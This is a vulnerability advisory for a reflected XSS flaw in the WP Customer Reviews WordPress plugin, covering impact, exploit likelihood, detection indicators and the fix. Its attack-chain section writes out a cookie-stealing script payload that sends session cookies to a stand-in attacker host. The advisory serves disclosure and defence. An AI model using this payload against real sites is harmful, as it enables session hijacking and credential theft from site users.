CVE-2025-14452: 
WordPress vulnerability analysis and mitigation

CVE-2025-14452 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WP Customer Reviews plugin for WordPress, affecting all versions up to and including 3.7.5. The flaw exists in the wpcr3_fname parameter due to insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject arbitrary web scripts. It was published on February 19, 2026, and carries a CVSS v3.1 base score of 7.2 (High) (Red Hat CVE, Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The wpcr3_fname parameter in the WP Customer Reviews plugin fails to properly sanitize user-supplied input before reflecting it in the HTTP response, enabling script injection. Exploitation requires social engineering — an attacker must trick a victim into clicking a crafted link containing the malicious payload, which then executes in the victim's browser context (Red Hat CVE, Infinitsec).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, defacement of page content visible to the victim, or redirection to malicious sites. While availability is not directly impacted, confidentiality and integrity are both at low-to-moderate risk, particularly for authenticated users such as administrators who may be targeted (Red Hat CVE).

No evidence of active in-the-wild exploitation or inclusion in CISA's Known Exploited Vulnerabilities (KEV) catalog has been reported. The EPSS score is approximately 0.078%, indicating a low probability of exploitation in the near term. No exploit kits or attributed threat actor campaigns have been identified. The vulnerability requires user interaction (victim clicking a crafted link), which limits opportunistic mass exploitation (Red Hat CVE, Wordfence).

1. Reconnaissance: Identify WordPress sites running the WP Customer Reviews plugin version 3.7.5 or earlier using tools like WPScan or Shodan with WordPress-specific fingerprinting.
2. Identify vulnerable parameter: Locate the plugin's form or endpoint that processes the wpcr3_fname parameter in the HTTP request.
3. Craft malicious URL: Construct a URL targeting the vulnerable endpoint with a reflected XSS payload embedded in the wpcr3_fname parameter, e.g., ?wpcr3_fname=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a target user (e.g., a site administrator) via phishing email, social media message, or other social engineering vector.
5. Achieve objective: When the victim clicks the link and loads the page, the injected script executes in their browser, potentially stealing session cookies, performing actions on their behalf, or redirecting them to a malicious site (Infinitsec).

• Network: HTTP requests to WordPress pages containing the wpcr3_fname parameter with encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, javascript:).
• Logs: WordPress or web server access logs showing GET/POST requests with suspicious values in the wpcr3_fname parameter, particularly those containing URL-encoded HTML or JavaScript.
• Browser/Client-Side: Unexpected redirects or pop-ups on pages served by the affected WordPress site; outbound requests from victim browsers to unknown external domains following interaction with WP Customer Reviews plugin pages.

WordPress site administrators should update the WP Customer Reviews plugin to a version beyond 3.7.5 that includes a fix for this vulnerability. Until a patched version is available or applied, consider disabling the plugin entirely to eliminate the attack surface. Web application firewalls (WAFs) with XSS filtering rules can provide an interim layer of defense against exploitation attempts (Wordfence, Red Hat CVE).

Wordfence included CVE-2025-14452 in its weekly WordPress vulnerability report for the week of February 16–22, 2026, highlighting it as part of broader plugin security monitoring (Wordfence). RedPacket Security also published a CVE alert for this vulnerability (RedPacket Security). No significant broader media coverage or notable researcher commentary beyond routine vulnerability disclosure has been identified.